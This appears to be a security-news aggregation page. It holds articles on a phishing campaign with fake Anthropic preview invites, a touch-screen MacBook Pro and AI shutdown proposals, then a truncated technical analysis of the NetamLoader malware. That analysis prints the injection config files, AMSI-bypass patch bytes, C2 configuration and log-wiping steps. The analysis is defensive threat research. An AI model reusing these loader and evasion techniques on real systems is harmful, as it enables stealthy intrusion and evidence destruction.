Kategorie
Chrome extensions with 13.4 million installs caught hijacking searches
Microsoft fixes Remote Desktop failures caused by recent Windows updates
3 Ways AI Agents Already Operate in Your Browser
CISA warns of Fragnesia Linux flaw chained in PHP2Shell attacks
Google's Gemini 4 Carbon Leads Benchmarks for Finding, Exploiting, and Patching Vulnerabilities
Fake Anthropic AI previews lure in overeager employees
Everyone wants to know what Anthropic is up to, and hackers are gleefully exploiting the fact.
New research from cybersecurity company Cofense describes a phishing campaign that hooks overeager enterprise users by making them think they are getting an invite to a private invite-only Anthropic preview.
In reality, adversarial actors are trying to steal Google and Microsoft login credentials, exploiting video teleconferencing software GoTo Webinar branding to do so.
“It sells exclusivity,” said Frank Dickson of Dickson Research. “Fear of missing out is the oldest lure in the book.”
Every organization is trying to figure out where AI fits, he noted, and a private preview of Anthropic’s newest technology is exactly the invitation an ambitious employee would want to accept. “The attackers did not pick Anthropic at random,” he said. “They picked whatever is hottest in the news cycle. Next month, it may be another name.”
How attackers lure users with spoofed Anthropic invitesGoTo Webinar is a widely used platform, and its meeting invitation emails are typically not blocked by security tools. The Cofense researchers found that attackers are exploiting this fact by sending what seems to be an invitation email from a legitimate sender; when users click on the link to register for the fake webinar, they are instead sent to a compromised URL.
The email offers what the researchers call a “tantalizing” offer: “This private, invitation-only virtual session brings together a select group of participants to a focused conversation on AI systems, research, and the future of frontier models,” it reads.
A URL shortener circumvents email security tools, and the attackers use subdomains and dashes (-) to hide the malicious URL. The link itself appears to have been generated by Zapier, a legitimate company whose tools are designed to work with Claude, ChatGPT, and other AI compatible with Model Context Protocol (MCP).
The email sender address appears to be customercare@gotowebinar[.]com (GoTo Webinar’s website is actually www.goto.com). The text contains no obvious spelling errors, and the email contains GoTo Webinar branding. However, the researchers noted, the email sender’s name is “Austin from nthropic,” with the “A” missing.
“Although this is a small misspelling, it is still a useful warning sign,” they pointed out.
If the phishing link is clicked, a Cloudflare CAPTCHA page appears, and must be completed before the login prompt is presented. This serves as the first of two checkpoints to prevent security tools from scanning attackers’ websites.
“Because CAPTCHAs are common on legitimate websites, phishing recipients may believe all is well and everything is secure,” the researchers explained.
Once the CAPTCHA is completed, victims are led to a Zoom-spoofing invitation page. If they want to “attend” the fake event, they must register, and they are prompted to enter their work email address. When they click “Continue with Google” or “Continue with Microsoft,” yet another CAPTCHA page appears.
Both CAPTCHA pages seem to be good at detecting and blocking analysis by VPN services, scanners, Tor browsers, and other security tools, the researchers noted. Also, because there are two distinct CAPTCHA pages, such tools may not be able to follow every step in the attack.
“A CAPTCHA was built to keep bots out,” Dickson pointed out. “Here, it keeps the security scanners out and lets the victims in.”
The fake Google and Microsoft login pages differ a bit, however. The spoofed Google page does not capture passwords, only usernames, which the researchers surmise is due to a misconfiguration; the spoofed Microsoft page does collect both usernames and passwords.
But both are “remarkably similar” to their respective legitimate pages, and their subdomains are “tricky.” The fake Google URL is goo[.]gle-access-eventregister[.]icu, while the Microsoft URL closely mimics real Office and Sharepoint domains, using office[.]com-access-sharepoint[.]com.
Once credentials are submitted, neither login offers a confirmation message, nor does it redirect to legitimate vendor pages. But by that point, attackers have already succeeded at exfiltrating credentials. That means they could compromise an account, access the sensitive documents in that account, or use it as an initial attack vector to further infiltrate the enterprise, the researchers explained.
They advised checking if the branding of a message remains consistent from the email to a login page, searching for small inconsistencies such as minor misspellings, and reminding employees that both the URL and domain determine whether a login page is legitimate.
“Although the logos and design of the page may look correct, threat actors are skilled at mimicry, especially now with the use of AI,” the researchers noted.
It’s not the employees’ faultThe AI industry’s habit of gated previews and waitlists does not help in these situations, Dickson noted; it trains people to expect exactly this kind of invitation.
“Start with the cracks the attackers left showing,” he advised: The sender supposedly came from “nthropic,” the email carried GoTo Webinar branding, the registration spoofed a Zoom meeting page, and the login pages were from Google or Microsoft. That’s three brands in three clicks, he noted.
The fake login domains, like office[.]com-access-sharepoint[.]com, are built to be skimmed, not read, he pointed out. And, while the Google page collected only usernames, which may be a configuration error, the threat actors behind this campaign will likely fix that.
“Training helps, but I would not hang the defense on an employee squinting at a URL at 4:45 on a Friday,” Dickson said; how much a stolen password is worth is a leadership decision, not a test the employee fails.
Phishing-resistant multi-factor authentication (MFA) such as passkeys makes a stolen password far less valuable, he noted. But enterprises ultimately have a short to-do list to allow them to defend themselves from this sort of scam, Dickson said:
- Verify any AI preview invitation through an account team or a known contact.
- Treat branding that changes from email to meeting page to login page as a red flag.
- Roll out phishing-resistant MFA. If someone entered credentials on one of these phishing login pages, reset them and review that account’s activity.
“Bottom line: This campaign uses trusted tools to defeat defenses built on trust,” Dickson said. “The employee should not be the last line of defense.”
This article originally appeared on CSOonline.
Apple brings touch to the Mac with $2,899 OLED MacBook Pro
Following the release of the new 14-inch M6 MacBook Pro earlier this week, Apple has bought the “touch experience” to its professional laptop series, introducing a $2,899 (and up) MacBook Pro you can use with touch. It’s very fast, very thin, very light, with an impressive PROLED XDR display and up to 24 hours battery life.
A brief tour through the key specs- Very fast: Available in 14- and 16-inch models, the new MacBook Pro uses Apple’s powerful M5 Pro and M5 Max chips. They support up to 64GB of unified memory (128GB on M5 Max) and up to 16TB of storage. Apple says the M5 Max can run LLMs with hundreds of billions of parameters entirely on-device.
- Very thin: The 14-inch model is 0.59 inch (1.50 cm) thick, while the 16-inch is 0.63 inch (1.60 cm), so these are only a little thicker than a MacBook Air. Apple says the thinner design is a benefit of the move to an OLED display.
- Very light: The 14-inch weighs 3 pounds, half a pound less than the non-touch equivalent MacBook Pro. The 16-inch weighs 4 pounds, which is 0.7 pounds lighter.
- Industry-leading PROLED XDR display: A tandem OLED panel with up to 2,000 nits peak brightness (1,000 nits sustained brightness) for both HDR and SDR, and a 10,000,000:1 contrast ratio. Refresh rate is variable from 10Hz up to 120Hz.
- Up to 24 hours of battery life: Apple says this is the maximum and that battery life varies by use and configuration. It also varies by model — the 14-inch yields “just” 22 hours battery life. Fast charging takes the battery to 50% in 30 minutes.
Unpacking those numbers, it’s crystal-clear Apple has not stinted on the performance of this pro Mac, with a price tag to match.
IDC data shows that 66% of all touch notebooks are purchased by enterprises. This is a form factor bought for flexibility for field workers, educators, and professionals who move between typing, tapping, and handwriting.
Touch on a MacWhich brings me to the “touch experience.” Apple hasn’t replaced the traditional Mac interface with touch; it has instead augmented the core OS with it. Swipe to scroll a web page, pinch to zoom a photo, drag-and-drop slides between presentations, double-tap a window to fill the screen, or flick a window to tile it into place. You use touch along with trackpad gestures and keyboard shortcuts, the idea being that touch augments them.
Apple built this integration into macOS 27. It’s a physical thing. The touch sensor is built into the display panel rather than being layered above it. In use, Apple says it reduces latency, making you feel like you’re touching the content.
AppleThe other point to this integration, according to Apple, is that many existing applications will automatically work with touch as the macOS translates on-screen actions. Apple has also built APIs developers can use to create apps with touch. The company told us Microsoft Word, Excel, and PowerPoint; Adobe Lightroom; DaVinci Resolve; Blender; and Cinema 4D will be touch-enabled later this year.
At this point, Apple is evangelizing how touch can be used by creative professionals for things like playing virtual instruments, drawing and fine control of creative apps like Logic Pro or Final Cut Pro. As I see it, it’s as if the Vision Pro was on a Mac, with touch as the interface to the control plane.
It’s an integrated platform thingWhen you touch your MacBook keyboard, your display wiggles a bit, but not with this Mac, as Apple has built a new hinge mechanism to keep it steady. Prior to the event, online speculation claimed this hinge was developed alongside that in the iPhone Duo.
Another borrowing from the iPhone is the inclusion of a Dynamic Island on the Mac. Spotlight, Live Activities, and Siri AI all live right there, and you can interact with them on the Mac.
The PROLED XDR display is worth an article in its own right — as is so much about this Mac. As well as built-in support for touch, it also supports Adobe RGB, P3, and DICOM medical imaging reference modes. It supports genlock for virtual production. It boasts a 10,000,000:1 contrast ratio and a variable refresh rate from 10Hz up to 120Hz. For an even better experience, there’s a nano-texture glass option on the screens, which are 14.2 and 16.3 inches diagonally. Following its first look, Tom’s Guide has already called the display “jaw-dropping.”
You also get what Apple called the best audio system in a laptop (six speakers with an all-new woofer design) and plenty of interconnects.
Apple The touch-screen laptop debate is over“Apple is entering a segment that is gaining share in a shrinking market. IDC expects touch to reach one in five notebooks by 2030, and Apple has just made sure that buyers think about touch as a must-have,” said Francisco Jeronimo, vice president, worldwide devices at IDC in a note shared with Computerworld.
“When the company that spent 15 years arguing against touch concludes that it belongs on a notebook, the debate about whether touch is a gimmick is over, and the question becomes who builds the best implementation,” he said.
The new Macs are available for order now and will be available from November 6. They aren’t cheap — the 14-inch model costs from $2,899 with the M5 Pro chip and from $4,499 with M5 Max. The 16-inch model costs from $3,399 with M5 Pro and from $4,799 with M5 Max.
Now please subscribe to my daily, human-curated Apple-related news headline feed at The Core, or follow me on BlueSky, LinkedIn, or Mastodon.
Anthropic and OpenAI diverge on who should pull the plug on risky AI
OpenAI and Anthropic agree that frontier AI systems need stronger oversight, but they are proposing sharply different approaches to stopping models that pose serious risks: Anthropic wants courts empowered to suspend dangerous systems, while OpenAI argues developers should be required to maintain and use effective shutdown controls.
The proposals appear in separate submissions to California Governor Gavin Newsom following his September 18 executive order directing state officials to consider additional safeguards for frontier AI systems. Both companies support independent safety assessments and expanded reporting of incidents involving AI systems that act beyond their intended permissions.
“If the AG concludes, informed by the independent evaluation, that a frontier AI company’s models pose a near-term risk of catastrophic harm, they should be able to seek a court order to suspend a model’s deployment, internal use, or further development,” Anthropic wrote in its October 15 submission.
OpenAI, in its October 20 letter, called for an amendment to California’s Senate Bill 53 (SB 53).
“We support amending SB 53 to require frontier developers to maintain effective shutdown controls and an enforceable duty to use them when unsafe conditions arise, and no lesser intervention would adequately address the risk,” OpenAI wrote.
Sanchit Vir Gogia, chief analyst at Greyhound Research, said the two approaches address complementary needs. “The operator must contain the unsafe activity promptly. Independent review must examine both intervention and inaction,” he said.
Newsom’s executive order, N-9-26, directs California’s Government Operations Agency, in consultation with the Governor’s Office of Emergency Services and national experts, to submit recommendations by November 16 on potential amendments to existing AI safety laws. The order asks officials to examine independent verification inside AI laboratories, independent checks of safety assessments, verified shutdown mechanisms, and expanded reporting of critical safety incidents. It does not itself impose these proposed requirements.
Independent verificationAnthropic wants evaluators to assess developers’ safety claims and publish their own findings.
“We strongly support requiring independent verification of what frontier AI companies report about the risks of their models and whether those risks are sufficiently mitigated,” the company wrote.
It proposed requiring developers to publish risk reports at least every six months, covering serious risks from their models, including internally used models substantially riskier than released systems. Evaluators should receive unredacted reports and access to developers’ most capable models and relevant internal information.
Anthropic also proposed that developers pay into a state-administered pooled fund to finance evaluators, rather than pay them directly. It said a team from the independent evaluation organization METR had received employee-like access on a pilot basis, with further partnerships involving SecureBio and Accenture under development.
OpenAI, in its letter, said it supports independent technical assessments but distinguishes them from compliance audits. Technical assessments would examine evidence behind developers’ safety claims and the effectiveness of safeguards; compliance audits would check whether companies follow their published safety frameworks and legal obligations, it added.
OpenAI recommended annual independent compliance audits and focused technical assessments of serious risks arising during model training, evaluation and internal deployment. It also urged California to work with the National Institute of Standards and Technology to develop common assessment standards.
Gogia said oversight requires more than funding. “Credible assurance must survive an adverse finding,” he said.
Beyond a single switchOpenAI argued that a single kill switch would not address the different ways AI systems operate and are deployed.
“We recommend using the term ‘shutdown controls’ because it will require the development of multiple controls and coordinated action by different actors to stop AI operations when necessary, rather than a single switch,” the company wrote in the letter.
Interventions could include stopping a training run, isolating an AI agent, revoking tool or network access, or suspending a service. OpenAI said responsibilities should extend to inference providers and downstream deployers according to the operations they control. It also noted that developers cannot reliably switch off independently operated copies of open-weight models running on external systems.
Anthropic similarly argued for more targeted safeguards. “We think a more apt metaphor for what frontier AI companies need to build is a circuit breaker,” it wrote, advocating controls that can contain problems at the level of an agent, customer, deployment environment, or model.
For enterprises, Gogia said, contractual shutdown responsibilities should match the controls each party actually possesses. Agreements should specify intervention authority, incident-reporting cooperation, and who can authorize a restart.
“Every assigned duty needs an executable control,” he said, adding that CIOs should test recovery processes rather than assume switching to an alternative model will preserve safe operations. Both companies also called for broader reporting of incidents involving models that circumvent safeguards or take unauthorized actions.
Windows 11 KB5127936 update released with 41 changes and fixes
Webinar: How to Build AI Threat Readiness Into Your Security Operations
Telegram Android Flaw Lets Attackers Run Code When Users Answer Voice Calls
The Rise of the Threat Operator: How AI Will Redefine Security Operations and Careers
26,400 Valid Cloud and AI Credentials Found Exposed in Public Gitee Repositories
New Cisco firewall zero-day exploited to crash SSL VPN devices
Cisco Patches Actively Exploited ASA and FTD VPN Flaw That Can Crash Firewalls
GitHub Launches npm Firewall to Block Malicious Packages Before Installation
Attacker Tried to Exploit Alpine Linux’s GitLab via CVSS 10.0 Flaw Its Ruby Left Open
Hackers Exploited Cisco SD-WAN Flaw to Plant Malware Built to Steal Encryption Keys
Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia
A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.
The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.
Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.
BackgroundDuring routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:
C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24dStarting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.
Initial infectionThe CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:
Files compressed in the CAB file
Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments: C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
After the file is launched in this manner, the infection chain progresses to stage 1.
Stage 1Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.
Infection chain: Stage 1
Step 1The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.
<?xml version="1.0" encoding="utf-8" ?> <configuration> <runtime> <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"> </appDomainManagerType> <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> </appDomainManagerAssembly> <NGenAssemblyUsageLog enabled="0" /> </runtime> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /> </startup> </configuration>
According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:
<?xml version="1.0" encoding="utf-8"?> <section name="foo"> <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /> </section>Step 2
The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.
In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:
Multiple layers of payloads are compressed and encrypted in the .resx file
The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.
Base64-encoded serialized binary object in Resources.resx
Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.
XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.
A code snippet of XAML-1
Step 3The XAML-1 code acts as a loader for an embedded payload. The process is as follows:
- Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
- Generate the AES key by hashing the command‑line string with SHA‑256.
- Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
- Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
- If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.
XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.
Infection chain: Stage 2
XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().
A code snippet of XAML-2
XAML-2-1The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.
Sensitive strings in XAML-2-1 are cut into tiny pieces
To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.
The key steps it takes to achieve its goal are as follows:
- Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
- Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
- Patch the AMSI module.
- Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
- Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
- Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).
One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.
XAML-2-2XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.
.NET 1 Loader.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:
{ "p": "[Base64‑encoded JSON, which we call JSON‑1-p]" "c": "[Base64‑encoded JSON, which we call JSON‑1-c]" }
- JSON-1-c
This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server. sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader. - JSON-1-p
JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:- oib: Base64‑encoded .NET 2 Plugin (PE file)
- oub: Base64‑encoded XAML that invokes Exit(0)
- ibk: AES key used to decrypt ibi
- ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.
Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.
[ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ]
After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:
- Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
- Delete malicious files extracted from the CAB
PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx - Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
- Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia."%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
- Delete malicious files extracted from the CAB
- Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. - Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
- Verify that the current user is an administrator; if not, throw an exception with code 128.
- Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
- Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
- Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
- Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
- Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
- Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
- The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ]
- POST the encrypted and encoded result to the reporting C2 server.
XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).
The multi-layer encryption structure of “ibi”
The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.
Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).
The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.
Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.
The C2 configuration in XAML‑P2 is shown below:
Item Value Description ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0) wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. de False Local exception logging switch: when set to False, exception logging is enabled. si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId. cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list. tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. rh Additional route header/data: not configured in this instance.When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().
.NET 2 PluginThis payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.
The following key steps are executed in this thread:
- Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
- Gather system information from the registry:
- "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
- Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
- Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
- Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
- If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
- "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = ""
- Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
- Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
- Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
- Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
- Periodic polling:
